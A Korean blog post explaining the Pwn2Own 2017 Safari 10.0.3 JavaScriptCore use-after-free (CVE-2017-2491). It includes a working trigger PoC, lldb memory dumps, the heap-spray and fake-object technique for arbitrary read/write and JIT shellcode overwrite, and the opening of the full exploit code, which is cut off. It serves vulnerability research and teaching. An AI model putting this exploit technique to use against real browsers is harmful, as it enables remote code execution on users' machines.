Pwn2Own 2017: UAF in JSC::CachedCall (WebKit)

wisdom·2021년 4월 14일
0

Introduction


작성자 : Samual Grob(saelo), Niklas Baumstark

브라우저의 렌더러 프로세스에서 RCE를 할 수 있는 Safari 10.0.3 UaF(Use-after-Free) 버그에 대해 소개한다. Safari를 깨고 최신 맥북 프로의 루트 권한으로 권한 상승을 하는데 사용했던 버그와 익스플로잇에 대한 내용이다.

웹킷 버그에 대한 슬픈 사연

Pwn2Own에서의 데모는 Safari 렌더러 내부에서 RCE를 얻기 위해 1-day 버그를 사용했다는 점에서 약간 특이했다. 이는 불행한 타이밍으로 찾은 취약점이 1-day가 되어버렸기 때문이었다.

saelo가 2월 초에 CachedCall 클래스에서 버그를 발견했는데, 이를 처음 발견했을 때는 사실상 익스플로잇이 거의 불가능해 보였다고 한다. 그리고 2주 후 어쨌든 익스플로잇을 시도하기로 결정했고 결국 잘 동작하는 익스플로잇을 구현했다. 해당 시점에서 saelo가 poc-chachedcall-uaf.js PoC 파일의 SHA-256을 트위터에 올렸다. 그런데 불과 7시간 후 Apple 직원이 이에 대한 버그 리포트를 열어 saelo는 결국 0-day 익스플로잇 체인을 구축하지 못했다. 이 버그가 Tracker 에 등록되었을 때 hidden 상태가 아니었던 걸 보면, 개발자들이 이 이슈를 보안 이슈로 생각하지는 않았던 것 같다. 나중에서야 우리는 사파리 팀의 내부 퍼저가 버그를 일으켜서 수정을 했어야만 했다는 것을 알게 되었다.

대회까지 약 한 달이 남은 시점에서 그들은 곧 출시될 예정이었던 Safari 10.1에 도입될 새로운 웹킷 코드에 집중하기로 했다. 결국 버그를 발견하고 익스플로잇 하는데 성공했는데, 안타깝게도 Apple이 대회 전에 Safari 10.1 (macOS 10.12.4의 일부로)을 출시하지 않기로 결정했다. 이 두 번째 버그도 보고했으며, Safari 10.1에 영향을 미치기 때문에 버그가 수정되면 라이트업을 작성할 것이라고 한다. (이미 작성되었을 수도 있고)

Overview


About Bug

Pwn2Own에서 사용된 웹킷 버그는 CVE-2017-2491 / ZDI-17-231 이다. JavaScriptCore의 JSString 객체에 대한 UaF 취약점이다.

이 버그를 트리거 함으로써, JavaScript 콜백에서 JSString 객체에 대한 댕글링 포인터를 얻을 수 있다.

처음에는 이 버그를 특정 시나리오로 익스플로잇 하기가 매우 어려워 보였다. 하지만 안정적으로 r/w 프리미티브를 얻을 수 있는 다소 일반적인 기술을 발견했다. 다만, 매우 큰(~28GiB) 힙 스프레이가 필요하긴 하다. macOS의 페이지 압축 매커니즘 덕분에 8GB 램이 장착된 맥북에서도 가능하다.

Dangling Pointer

컴퓨터 프로그래밍에서 적절한 타입의 유효한 객체를 가리키고 있지 않은 포인터를 말한다. 인터넷의 죽은 링크들처럼 유효하지 않은 목적지 주소에 대한 참조이다. 쉽게 말해 포인터가 여전히 해제된 메모리 영역을 가리키고 있는 상황을 의미한다.

Agenda

  1. The Bug
  2. Exploitation
  3. Triggering the bug
  4. From fakeobj/addrof to arbitrary R/W
  5. Surviving a completely broken heap
    (완전히 깨진 힙에서 살아남기)

The Bug


RegExp 객체를 첫 번째 인수로 사용하여 String.prototype.replace를 호출할 때, 웹킷의 JavaScript 엔진인 JavaScriptCore(JSC)에서는 다음 기본 함수를 호출한다.

static ALWAYS_INLINE EncodedJSValue **replaceUsingRegExpSearch**(
    VM& vm, ExecState* exec, JSString* string, JSValue searchValue, CallData& callData,
    CallType callType, String& replacementString, JSValue replaceValue)
{
    // ...
    // 정규식에 g(global) 플래그가 설정되어 있고
    // 두 번째 인수가 JS Function인 경우
    // 이 경로가 사용된다.
    if (global && callType == CallType::JS) {
        // regExp->numSubpatterns() + 1 for pattern args, + 2 for match start and string
        int argCount = regExp->numSubpatterns() + 1 + 2;
        JSFunction* func = jsCast<JSFunction*>(replaceValue);
        CachedCall cachedCall(exec, func, argCount);        // [[ 0 ]]
        RETURN_IF_EXCEPTION(scope, encodedJSValue());
        if (source.is8Bit()) {
            while (true) {
                int* ovector;
                MatchResult result = regExpConstructor->performMatch(vm, regExp, string, source, startPosition, &ovector);
                if (!result)
                    break;

                if (UNLIKELY(!sourceRanges.tryConstructAndAppend(lastIndex, result.start - lastIndex)))
                    OUT_OF_MEMORY(exec, scope);

                unsigned i = 0;
                for (; i < regExp->numSubpatterns() + 1; ++i) {
                    int matchStart = ovector[i * 2];
                    int matchLen = ovector[i * 2 + 1] - matchStart;

                    if (matchStart < 0)
                        cachedCall.setArgument(i, jsUndefined());
                    else
                        // [[ 1 ]]
                        cachedCall.setArgument(i, jsSubstring(&vm, source, matchStart, matchLen));
                }

                cachedCall.setArgument(i++, jsNumber(result.start));
                cachedCall.setArgument(i++, string);

                cachedCall.setThis(jsUndefined());
                JSValue jsResult = cachedCall.call();           // [[ 2 ]]
                replacements.append(jsResult.toWTFString(exec));
                RETURN_IF_EXCEPTION(scope, encodedJSValue());

                lastIndex = result.end;
                startPosition = lastIndex;

                // special case of empty match
                if (result.empty()) {
                    startPosition++;
                    if (startPosition > sourceLen)
                        break;
                }
            }
        }

    // ...

주석에 [0], [1], [2] 번호가 달려 있다.

[0]

CachedCall cachedCall(exec, func, argCount);        // [[ 0 ]]

[0]번 위치에서, CachedCall 인스턴스가 생성된다. 이는 나중에 콜백 함수를 호출하는데 사용된다.

Safari 10.0.3에 사용된 웹킷 브랜치에서 CachedCall 클래스는 다음과 같다.

class CachedCall {

    // ...

    private:
        bool m_valid;
        Interpreter* m_interpreter;
        VM& m_vm;
        VMEntryScope m_entryScope;
        ProtoCallFrame m_protoCallFrame;
        Vector<JSValue> m_arguments;
        CallFrameClosure m_closure;
};

여기서 WTF::Vector는 인자들을 저장하기 위해 사용된다. 그리고 알고리즘이 실행되는 동안 jsSubString에 의해 생성된 객체에 대한 유일한 참조이다. 코드에서는 [[1]] 의 jsSubstring 에서만 m_arguments 멤버변수를 참조하고 있다. Vector m_arguments에 jsSubstring 결과를 채워 넣는 것으로 보인다.

JSC에서 가비지 콜렉터에 의해 수명이 관리되는 모든 객체는 JSCell로부터 상속을 받는다. 마크 앤 스윕(mark and sweep) 알고리즘의 마킹 단계에서, JSCell에 대한 참조를 위해 여러 위치를 스캔하고 반복적으로 마킹한다.

이는 다음 요소들을 포함한다.

  • 현재의 콜 스택
  • 전역 객체를 포함한 전역 JavaScript 실행 컨텍스트
  • MarkedArgumentBuffer와 같은 특수한 버퍼
  • 그 외 아마 다른 것들...

해당 위치에서 포인터를 이동하여 도달할 수 없는 모든 객체들은 GC 알고리즘의 Sweeping 단계 중 free 될 수 있다. 이는 JSCell에 대한 유일한 참조로 WTF::Vector와 같은 Opaque 타입이 힙 버퍼에 있는 경우, 가비지 콜렉터가 올바르게 찾고 마킹할 방법이 없으며, 결국 major 가비지 콜렉션 사이클이 발생할 때 제거되고 해제될 수 있다는 것을 의미한다.

[1], [2]

if (matchStart < 0)
	cachedCall.setArgument(i, jsUndefined());
else
  // [[ 1 ]]
	cachedCall.setArgument(i, jsSubstring(&vm, source, matchStart, matchLen));

String.prototype.replace의 경우, [1] 에서 새로운 인수 문자열을 할당하는 동안 major GC가 발생할 수 있다. 그러면 이전에 사용된 인수(JString 인스턴스)가 수집되고 해제된다.

JSValue jsResult = cachedCall.call();           // [[ 2 ]]

그리고 나중에 [2]에서 콜백 함수를 호출하면, 콜백 함수는 해제된 JSCell에 대한 포인터를 인수로 받는다.

이 취약점이 제대로 트리거되기 위해서는 GC가 콜백 전에 발생해야 한다. 그렇지 않으면 호출 스택에서 substring 객체에 대한 참조가 존재하게 된다.

Saelo's PoC

function i_want_to_break_free() {
    var n = 0x40000;
    var m = 10;
    var regex = new RegExp("(ab)".repeat(n), "g"); // g flag to trigger the vulnerable path
    var part = "ab".repeat(n); // matches have to be at least size 2 to prevent [interning](https://en.wikipedia.org/wiki/String_interning)
    var s = (part + "|").repeat(m);
    while (true) {
        var cnt = 0;
        var ary = [];
        // 첫 번째 인자 : 정규표현식, 두 번째 인자 : 콜백 함수
        // **replaceUsingRegExpSearch** 네이티브 함수가 호출
        s.replace(regex, function() { 
            for (var i = 1; i < arguments.length-2; ++i) {
            // 원래라면 arguments[i]는 모두 string이어야 한다.
            // 하지만 Vector<JSValue> m_arguments가 GC에 의해 free 되면서,
            // 기존 argument의 앞 8바이트가 free-list의 다음 노드를 가리키는 포인터로 변경된다.
            // 그래서 string 타입이 아닌 arguments[i]가 존재하게 된다.
                if (typeof arguments[i] !== 'string') {
                    i_am_free = arguments[i];
                    throw "success";
                }
                ary[cnt++] = arguments[i];  // root everything to force GC
            }
            return "x";
        });
    }
}
try { i_want_to_break_free(); } catch (e) { }
console.log(typeof(i_am_free));  // will print "object"

saelo가 작성한 poc-cachedcall-uaf.js PoC 파일은 해당 이슈를 잘 보여주고 실제 Safari 10.0.3에서 작동한다. 소스 코드는 위와 같다.

수행 결과 : i_am_free의 타입이 object로 출력되었다.

스크립트의 마지막에서 i_am_free는 해제된 JSString에 대한 포인터이다. 이 포인터를 가지고 타입을 체크하는 것 이외의 작업을 수행하면 브라우저에서 크래시가 발생할 수 있다. 그 이유는 JSCell 헤더가 free-list 포인터(나중에 자세히 설명)로 덮어 써 졌기 때문이다.

class CachedCall {
    // ...
    private:
        bool m_valid;
        Interpreter* m_interpreter;
        VM& m_vm;
        VMEntryScope m_entryScope;
        ProtoCallFrame m_protoCallFrame;
-       Vector<JSValue> m_arguments;
+       MarkedArgumentBuffer m_arguments;
        CallFrameClosure m_closure;
    };
}

참고로 해당 버그는 CachedCall 클래스에서 Vector를 MarkedArgumentBuffer로 대체함으로써 수정되었다. 위에서 MarkedArgumentBuffer와 같은 특수 타입의 버퍼는 가비지 콜렉터가 마킹을 위해 참조한다고 언급했다. 따라서 Vector 타입과 같이 마킹이 되지 않아 강제로 free되는 일은 발생하지 않을 것이다.

Debugging

  • arguments 확인
Object: 0x7fff50801068 with butterfly (nil) (0x7fffb0dea4a0:[Arguments, {}, NonArray, Proto:0x7fffb0db00a0, Leaf]), ID: 73
(lldb) x/8gx 0x7fff50801068
0x7fff50801068: 0x0108200000000049 0x0000000000000000
0x7fff50801078: 0x0000000000000000 0x00007fffb0dc3d00
0x7fff50801088: 0x0004000300040003 0x0000000000000000
0x7fff50801098: 0x00007fffb0d7cb00 0x00007fffb0d7cb20
(lldb) 
0x7fff508010a8: 0x00007fffb0d7cb40 0x00007fffb0d7cb60
0x7fff508010b8: 0x00007fffb0d7cb80 0x00007fffb0d7cba0
0x7fff508010c8: 0x00007fffb0d7cbc0 0x00007fffb0d7cbe0
0x7fff508010d8: 0x00007fffb0d7cc00 0x00007fffb0d7cc20

0x7fff50801088: 0x0004000300040003 이 부분은 arguments.length 값이다. print문으로 arguments.length를 출력해본 결과 262,147이 출력되었고 이는 0x40003이다.

  • arguments 메모리 구조 확인
(lldb) x/20gx 0x7fff50801068
0x7fff50801068: 0x0108200000000049 0x0000000000000000
0x7fff50801078: 0x0000000000000000 0x00007fffb0dc3d00
0x7fff50801088: 0x0004000300040003 0x0000000000000000
0x7fff50801098: 0x00007fffb0d7cb00 0x00007fffb0d7cb20
0x7fff508010a8: 0x00007fffb0d7cb40 0x00007fffb0d7cb60
0x7fff508010b8: 0x00007fffb0d7cb80 0x00007fffb0d7cba0
0x7fff508010c8: 0x00007fffb0d7cbc0 0x00007fffb0d7cbe0
0x7fff508010d8: 0x00007fffb0d7cc00 0x00007fffb0d7cc20
0x7fff508010e8: 0x00007fffb0d7cc40 0x00007fffb0d7cc60
0x7fff508010f8: 0x00007fffb0d7cc80 0x00007fffb0d7cca0

(lldb) x/8gx 0x00007fffb0d7cb20
0x7fffb0d7cb20: 0x0168060000000004 0x0000000200000001
0x7fffb0d7cb30: 0x00007fff82b57a40 0x00000000badbeef0
0x7fffb0d7cb40: 0x0168060000000004 0x0000000200000001
0x7fffb0d7cb50: 0x00007fff82b57a60 0x00000000badbeef0

(lldb) x/8gx 0x00007fffb0d7cb60
0x7fffb0d7cb60: 0x0168060000000004 0x0000000200000001
0x7fffb0d7cb70: 0x00007fff82b57a80 0x00000000badbeef0
0x7fffb0d7cb80: 0x0168060000000004 0x0000000200000001
0x7fffb0d7cb90: 0x00007fff82b57aa0 0x00000000badbeef0

#####################################################

(lldb) x/8gx 0x00007fffb0d7cb00
0x7fffb0d7cb00: 0x0168060000000004 0x0008000000000001
0x7fffb0d7cb10: 0x00007fff82b57a20 0x00000000badbeef0
0x7fffb0d7cb20: 0x0168060000000004 0x0000000200000001
0x7fffb0d7cb30: 0x00007fff82b57a40 0x00000000badbeef0

(lldb) x/8gx 0x00007fff82b57a20
0x7fff82b57a20: 0x0008000000000002 0x00007fff89200014
0x7fff82b57a30: 0x000000000000000a 0x00007fff89200000
0x7fff82b57a40: 0x0000000200000002 0x00007fff89200014
0x7fff82b57a50: 0x000000000000000a 0x00007fff89200000

(lldb) 
0x7fff82b57a60: 0x0000000200000002 0x00007fff89200016
0x7fff82b57a70: 0x000000000000000a 0x00007fff89200000
0x7fff82b57a80: 0x0000000200000002 0x00007fff89200018
0x7fff82b57a90: 0x000000000000000a 0x00007fff89200000

(lldb) 
0x7fff82b57aa0: 0x0000000200000002 0x00007fff8920001a
0x7fff82b57ab0: 0x000000000000000a 0x00007fff89200000
0x7fff82b57ac0: 0x0000000200000002 0x00007fff8920001c
0x7fff82b57ad0: 0x000000000000000a 0x00007fff89200000

(lldb) x/8gx 0x00007fff89200000
0x7fff89200000: 0x0050000a00100006 0x00007fff89200014
0x7fff89200010: 0x626162610000000c 0x6261626162616261
0x7fff89200020: 0x6261626162616261 0x6261626162616261
0x7fff89200030: 0x6261626162616261 0x6261626162616261

Exploitation


종종 브라우저에서의 UaF 버그는 free된 공간에 새로운 객체가 할당될 때 Type confusion을 야기할수 있으며, 이를 익스플로잇에 이용할 수 있다.

그러나 JSC에서의 상황은 조금 다르다. JSCell 객체들은 자신의 타입 정보를 객체 내부에 저장하고 있다. 따라서 free된 객체의 영역을 새로 할당된 다른 JSCell 객체가 차지하는 경우, JSCell에 대한 댕글링 포인터를 직접적으로 익스플로잇에 이용할 수 없다.

하지만 마냥 불가능한 것만은 아니다. 만약 free된 객체가 가비지 컬렉터에 의해 free된 또 다른 객체를 보유하고 있는 경우, 또는 만약 댕글링 포인터가 잘못된 정렬 때문에 다른 JSCell 내부를 가리키도록 만들 수 있는 경우라면 익스플로잇이 가능해질 수 있다.

둘 중 전자(former)의 사례는 유명한 페가수스 익스플로잇이라고 알려져 있다. 여기서는 free된(하지만 내부 데이터가 지워지거나 손상되지 않은) JSArray가 이미 free되고 교체된 이후에 재사용되었다.

참고로 아래의 내용들은 여기서 별도로 다루지 않을 것이다.

  1. jsSubstring에 의해 생성된 JSString 객체는 replace()가 호출되었던 원래의 JSString 객체와 데이터를 공유하며, 계속해서 존재한다.
  2. 또한 JSString 객체는 24바이트 또는 32 바이트의 다른 JSCell만 할당되는 힙 영역에 할당되며, 이 때 32바이트로 정렬된다.

여기서 일반적인 기술을 적용하는 유일한 아이디어는 아레나를 포함하는 전체 힙 블록을 해제하고 그 자리에 다른 타입을 담당하는 아레나를 할당하는 것이다. (아레나 : Main을 포함한 모든 각 Threads에 대한 힙 영역)

그러나 우리는 이에 대해 더 이상 조사하지 않았고, 마침내 아주 일반적이며 Pwn2Own에서 잘 동작하는 다른 접근 방식을 찾아낼 수 있었다.

JSCell free-list pointer type confusion

JSCell이 GC에 의해 수집되고 free될 때, 첫 8바이트는 동일한 힙 블록에서 다음 free cell을 가리키는 포인터로 변경된다. 그 외 다른 필드들은 변경되지 않는다. 이러한 이유로, free된 JSString 객체에 무언가 할당하지 않고 댕글링 포인터를 사용하려고 하면 크래시가 발생한다.

JSCell의 첫 8바이트는 다음 필드들로 구성된다.

StructureID m_structureID;           // dword
IndexingType m_indexingTypeAndMisc;  // byte
JSType m_type;                       // byte
TypeInfo::InlineTypeFlags m_flags;   // byte
CellState m_cellState;               // byte

이 시점에서 Safari의 매우 약한 힙 ASLR이 유용하다. macOS 10.12.3에서 Safari의 힙 주소는 약 0x110000000 ~ 0x120000000 에서 시작하며 위쪽으로 커진다 (값이 증가한다).

이 범위의 포인터로 JSCell을 덮어 쓰면 free list 포인터의 하위 32비트가 m_structureID 필드와 겹치고, 32~39번 비트가 m_indexingTypeAndMisc가 되며, 나머지 세 개의 필드는 0이 된다.

JSObject의 경우 NonArrayWithContiguous이므로 IndexingType 플래그를 8로 맞춰 주어야 한다. IndexingType이 8이 되도록 array 버퍼를 스프레이 함으로써 사용 가능한 JSObject를 구성할 수 있다. 따라서 0x800000000 ~ 0x8ffffffff 범위를 갖는 주소가 필요하기 때문에 4GiB 크기로 7번 스프레이 해주어야 한다. macOS의 페이지 압축 덕분에 이 정도 크기의 메모리를 스프레이 하는 것은 쉽게 가능하지만, Pwn2Own에서 사용했던 2016 맥북 프로(16GB RAM)에서는 약 50초가 걸렸다.

IndexingType 8은 JSValues(ContiguousShape)의 fast contiguous storage에 해당한다. 이 객체에 대해 인덱스로 접근하면 전체 속성을 모두 조회하는 대신 객체의 butterfly를 직접 참조한다. butterfly의 작동 원리는 saelo의 프랙 문서 섹션 1.2에 잘 설명되어 있다. butterfly 포인터는 JSObject의 두 번째 qword(두 번째 8바이트 블록)로, free된 JSString 인스턴스의 문자열 길이 및 타입을 타나내는 플래그(각각 32비트 정수, 총 8바이트) 영역과 겹치게 된다.

우리의 익스플로잇에서는 이 값이 항상 힙 스프레이 내부를 가리키는 포인터인 0x200000001이 되도록 할 것이다. 다음 그래픽은 0x8xxxxxxxx 형식을 가진 힙 포인터로 JSCell 헤더를 덮어썼을 때, JSStringJSObject가 어떻게 오버랩 되는지 보여준다.

Original JSString:

 JSCell fields                                              JSString fields
+---------------------------------------------------------------------------+
| dword        | byte         | byte   | byte  | byte      | dword | dword  |
| StructureID  | IndexingType | JSType | flags | CellState | flags | length |
|              |              |        |       |           |       |        |
| *            | *            | *      | *     | *         | 0x01  | 0x02   |
+---------------------------------------------------------------------------+

After header is overwritten by the pointer 0x8xxxxxxxx, we get a JSObject:

 JSCell fields                                              JSObject fields
+---------------------------------------------------------------------------+
| dword        | byte         | byte   | byte  | byte      | qword          |
| StructureID  | IndexingType | JSType | flags | CellState | butterfly ptr  |
|              |              |        |       |           |                |
| xxxxxxxx     | 0x08         | 0      | 0     | 0         | 0x200000001    |
+---------------------------------------------------------------------------+

JSCell 헤더를 0x8xxxxxxxx 값으로 덮어 쓰면, fake JSObject가 생성된다. 이렇게 생성된 객체는 결국 0x200000001을 butterfly로 인식하며 fast-path indexing에 따라 인덱스를 통해 butterfly 영역에 접근할 수 있다. 또한 0x200000001 주소는 힙 스프레이를 통해 ArrayBuffer로 덮어놓은 영역이고, 컨트롤 가능한 상태이다.

프랙 문서 섹션 4에 설명된 것처럼, fake JSObject에 값을 쓰고 ArrayBuffer에서 읽거나, 반대로 ArrayBuffer에 값을 쓰고 JSObject로 반환받게끔 addrof/fakeobj 프리미티브를 구현해낼 수 있다.

Arbitrary r/w 프리미티브를 생성하고 나면 그 이후의 작업은 루틴과도 같다. JavaScript 함수를 최적화 시키고 해당 함수에 대한 JIT 코드(rwx 영역에 존재)를 자체 쉘 코드로 덮어 쓴다. 그리고 다시 함수를 호출하면 쉘코드가 실행될 것이다.

실행 과정에서 몇몇 오퍼레이션이 fake JSObject의 Structure에 접근하기 때문에 유효한 Structure ID가 필요하다. Structure 인스턴스들의 포인터들을 보관하는 테이블이 존재하고, 이 테이블에 접근하기 위한 인덱스로 Structure ID를 이용한다.

문제는 이 Structuer ID 필드 영역을 우리가 마음대로 컨트롤 할 수 없다는 것이다. 왜냐면 객체가 free 되었을 때 이 영역이 다음 free-list cell을 가리키기 때문이다. (free-list 포인터로 덮어 쓰이기 때문) 이 포인터를 인덱스로 이용해서 테이블에 접근하면 테이블 범위를 넘어서 앞서 스프레이 해두었던 메모리 영역에 접근하게 된다. 따라서 힙 스프레이 영역에 미리 fake Structure를 만들어 두어야 한다.

free-list 포인터는 16바이트 단위로 정렬되는데, 이는 JSC 메모리 할당 단위이다. 또한 Structure 테이블을 통해 Structure 인스턴스에 액세스 할 때 인덱스에 8을 곱한다. 이는 포인터의 사이즈가 8바이트이기 때문이다. 따라서 힙 스프레이를 할 때 16 * 8 = 128바이트마다 Structure 포인터를 포함시켜 주면 된다.

익스플로잇 코드에서는 스프레이를 할 때 모든 fake 테이블 포인터의 값을 0x150000008으로 고정해 두고 스프레이 되는 데이터 블록의 시작 부분마다 fake Structure 인스턴스를 생성하도록 했다.

JSString length, flags

>>> var a = {};
undefined
>>> a[1] = "hello world"
hello world
>>> describe(a)
Object: 0x7fffb0da00e0 with butterfly 0x7fffb0dcaea8 (0x7fffb0d9f3a0:[Object, {}, NonArrayWithContiguous, Proto:0x7fffb0db00a0, Leaf]), ID: 226
(lldb) x/8gx 0x7fffb0dcaea8
0x7fffb0dcaea8: 0x0000000000000000 0x00007fffb0d7c9c0
0x7fffb0dcaeb8: 0x0000000000000000 0x0000000000000000
0x7fffb0dcaec8: 0x00007fffb0db01e0 0xffff000000000001
0x7fffb0dcaed8: 0x00007fffb0d7ca00 0x00007fffb0dc3c10
(lldb) x/8gx 0x00007fffb0d7c9c0
0x7fffb0d7c9c0: 0x0168060000000004 **0x0000000b00000001**
0x7fffb0d7c9d0: 0x00007ffff1597560 0x00000000badbeef0
0x7fffb0d7c9e0: 0x0168060000000004 0x0000008f00000001
0x7fffb0d7c9f0: 0x00007ffff15f6540 0x00000000badbeef0

length : 0xb / flags : 1

>>> a[10] = "hello world hello world"
hello world hello world
>>> describe(a)
Object: 0x7fffb0da00e0 with butterfly 0x7fffb0d6c0a8 (0x7fffb0d9f3a0:[Object, {}, NonArrayWithContiguous, Proto:0x7fffb0db00a0, Leaf]), ID: 226
(lldb) x/8gx 0x7fffb0d6c0a8
0x7fffb0d6c0a8: 0x0000000000000000 0x00007fffb0d7c9c0
0x7fffb0d6c0b8: 0x0000000000000000 0x0000000000000000
0x7fffb0d6c0c8: 0x0000000000000000 0x0000000000000000
0x7fffb0d6c0d8: 0x0000000000000000 0x0000000000000000
(lldb) 
0x7fffb0d6c0e8: 0x0000000000000000 0x0000000000000000
0x7fffb0d6c0f8: 0x00007fffb0d7cae0 0x0000000000000000
0x7fffb0d6c108: 0x0000000000000000 0x0000000000000000
0x7fffb0d6c118: 0x0000000000000000 0x0000000000000000
(lldb) x/8gx 0x00007fffb0d7cae0
0x7fffb0d7cae0: 0x0168060000000004 **0x0000001700000001**
0x7fffb0d7caf0: 0x00007ffff159f600 0x00000000badbeef0
0x7fffb0d7cb00: 0x0168060000000004 0x0000008f00000001
0x7fffb0d7cb10: 0x00007ffff15f65e8 0x00000000badbeef0

length: 0x17 / flags : 0x1

JSObject 생성 후 인덱스로 JSString을 할당했다. length와 flags 필드 구성은 어떻게 될까?

  • length : 실제 해당 string의 길이가 출력된다.
  • flags : 테스트 결과 웬만하면 1이 출력되는 것 같다.

Triggerring the bug

위 접근 방식은 꽤 간단해 보인다.

  1. 28GiB의 메모리를 스프레이하여 힙이 0x8xxxxxxxx 영역까지 사용하도록 한다.
  2. 버그를 트리거한다.

그러나 두 번째 단계는 사실상 그렇게 쉽지 않다. 위 간단한 PoC 코드를 Safari 10.0.3에서 실행해 보면 거의 즉시 버그가 트리거 되지만, 해당 시점에서 힙 사이즈가 매우 작기 때문에 GC가 자주 발생했기 때문이다.

28GiB의 큰 메모리 영역이 할당된 상황에서, JSC allocator의 휴리스틱으로 인해 GC가 트리거 될 가능성이 거의 없다.

최신 웹킷에는 Riptide 라는 새로운 동시성 가비지 컬렉터(Concurrent GC)가 등장하긴 했지만, 다행히 적어도 Safari 10.0.3의 JSC 버전에서 GC는 결정론적 알고리즘으로 동작한다.

그래서 0x8xxxxxxxx 영역에서 버그를 안정적으로 트리거 할 수 있는 힙 스프레이, 정규 표현식, 입력 문자열의 조합을 찾을 때까지 반복문을 돌았다. 실제 익스플로잇 코드에서는 루프에서 String.prototype.replace 함수를 반복적으로 호출하기 이전에 14 GiB 의 array 버퍼를 스프레이하도록 했다. 이렇게 하면 free 된 JSString 의 IndexType이 결국 8 값으로 덮어씌여지는 상황을 안정적으로 만들어 준다.

최신 버전의 Webkit에서도 작동하게 하는 몇 가지 아이디어가 있었지만 Apple이 버그를 수정해 버려서 더 진행할 수 없었다. 다만 이는 우리의 익스플로잇이 힙의 상태에 매우 의존적이라는 것을 의미한다. 만약 익스플로잇의 메모리 할당 패턴을 너무 많이 변경하면, 버그가 더 이상 정확한 시간에 트리거 되지 않으며 결국 익스플로잇이 실패한다.

From fakeobj/addrof to arbitrary R/W


saelo의 프랙 문서를 보면 JSC 객체를 위조하여 arbitrart r/w를 구현한다. 접근 방식은 다음과 같다.

  1. Structure ID 중 하나를 안정적으로 추측해낼 수 있도록 많은 Float64Array Structure를 스프레이 한다.
  2. 1단계에서 얻어낸 Structure ID를 JSObject의 인라인 속성의 값으로 할당해 준다. 이를 기반으로 가짜 Float64Array 객체인 fakeobj를 생성한다.
    1. 또한 이 fake Float64Array 객체의 데이터 포인터는 hax라는 Uint8Array를 가리키게끔 설정한다.
  3. fakearray[2] = <target address> 로 설정한 다음 hax에서 읽기 쓰기를 한다.
fakearray                             hax
+----------------+                  +----------------+
|  Float64Array  |   +------------->|  Uint8Array    |
|                |   |              |                |
|  JSCell        |   |              |  JSCell        |
|  butterfly     |   |              |  butterfly     |
|  vector  ------+---+              |  vector        |
|  length        |                  |  length        |
|  mode          |                  |  mode          |
+----------------+                  +----------------+

Pwn2Own에 사용할 익스플로잇에서도 위와 같은 방식으로 공격하고자 했지만, 1단계에서 힙 레이아웃이 엉망진창이 되었다. KISS(Keep it simple, stupid) 원칙을 따르고자 우리는 새로 배운 트릭을 다시 사용했다. 절차는 다음과 같다.

  1. 다른 객체의 인라인 속성 내부에 fakearray라는 이름의 JSObject를 가짜로 생성한다. fakearray는 indexing type이 8이고 StructureID는 0이며 butterfly는 hax라는 Uint8Array를 가리키도록 한다.
  2. hax2라는 Uint8Array를 추가로 생성한다.
  3. fakearray[2] = hax2로 설정하여 hax의 backing 버퍼를 hax2의 주소로 변경한다.
  4. r/w를 위해 hax[16]에 target address를 쓴다. hax의 데이터 포인터는 hax2를 가리키고 있기 때문에 hax[16] 위치는 hax2의 데이터 포인터 영역이 된다. 그러면 hax2의 데이터 버퍼가 target을 가리키게 될 것이다. 결과적으로 hax를 통해 r/w가 가능해 진다.

이 트릭은 Safari 10.0.2 환경에서 ID 값이 0인 Structure가 항상 존재하기 때문에 효과가 있다. 이 단계의 레이아웃을 아래와 같이 그려볼 수 있다.

fakearray                        hax                       hax2
+--------------------+         +------------------+        +--------------+
|  JSObject          |   +---->|  Uint8Array      |  +---->|  Uint8Array  |
|                    |   |     |                  |  |     |              |
|  structureID = 0   |   |     |  JSCell          |  |     |  JSCell      |
|  indexingType = 8  |   |     |  butterfly       |  |     |  butterfly   |
|  <rest of JSCell>  |   |     |  vector       ------+     |  vector      |
|  butterfly       ------+     |  length = 0x100  |        |  length      |
|                    |         |  mode            |        |  mode        |
+--------------------+         +------------------+        +--------------+

Surviving a completely broken heap


free된 JSStrings에 JSCell을 할당함으로써 JSString이 저장된 힙 블록의 free list를 효과적으로 손상 시켰다. 이렇게 하면 allocator가 완전히 중단되므로, 익스플로잇을 할 때 24 또는 32 바이트의 할당을 더 이상 수행하지 않도록 해야 한다.

단순히 객체를 아예 생성하지 않음으로써 수동으로 할당을 쉽게 피할 수 있다고 생각할 수 있을 것이다. 하지만 자바스크립트 함수를 호출하는 경우 또는 16번 이상의 반복문 실행으로 JIT 컴파일이 발생하는 경우가 발생하면 특정 JIT 컴파일 작업이 내부적으로 트리거 된다. 이후 JSC는 문제가 있는 사이즈로 할당을 수행하고 즉시 크래시가 발생한다.

망가진 free list를 수정하고 작업할 수 있는 정도의 합리적인 상태로 힙을 복원할 순 있다. 하지만 Pwn2Own의 목적을 위해 루프 및 함수 호출을 피하고 신뢰할 수 있지만 다소 지저분한 익스플로잇 코드를 작성했다. 두 번째 단계에서 SIGSEGV, SIGBUS 및 SIGALRM에 대한 시그널 핸들러를 등록하여 오류가 발생한 스레드를 무한으로 sleep 시킬 수 있게끔 했다. 이러한 방식은 샌드박스 이스케이프가 실행되는 동안 스레드가 프로세스를 중단할 수 없게 한다.

Full exploit code


주석이 달린 전체 익스플로잇 코드는 cachedcall-uaf.html 파일에서 확인할 수 있다.

코드 & 주석

<script>
// Exploit for CVE-2017-2491, Safari 10.0.3
// https://phoenhex.re/2017-05-04/pwn2own17-cachedcall-uaf

function make_compiled_function() {
    function target(x) {
        return x*5 + x - x*x;
    }
    // Call only once so that function gets compiled with low level interpreter
    // but none of the optimizing JITs
    /*
      LLInt(Low-Level Interpreter)에 의해 컴파일되도록 한 번만 호출한다.
      JIT 최적화는 되지 않는다.
    */
    target(0);
    return target;
}

function pwn() {
    // Uint8Array타입의 element를 가진 haxs 배열을 생성한다.
    var haxs = new Array(0x100);
    for (var i = 0; i < 0x100; ++i)
        haxs[i] = new Uint8Array(0x100);

    // hax is surrounded by other Uint8Array instances. Thus *(&hax - 8) == 0x100,
    // which is the butterfly length if hax is later used as a butterfly for a
    // fake JSArray.

    /*
      haxs 배열에서 2개의 element를 임의로 선택한다.
      추후 hax.vector가 hax2를 가리키게 될 것이다.
      fakearray -> hax -> hax2 형태로 체이닝 함으로써 r/w primitive를 획득한다.
    */
    var hax = haxs[0x80];
    var hax2 = haxs[0x81];
		
		// r/w primitive로 쉘 코드를 주입 및 실행할 때 target_func를 이용한다.
    var target_func = make_compiled_function();

    // Small helper to avoid allocations with .set(), so we don't mess up the heap
    /* 
      힙 할당을 하지 않고 메모리에 데이터를 쓰기 위한 헬퍼 함수
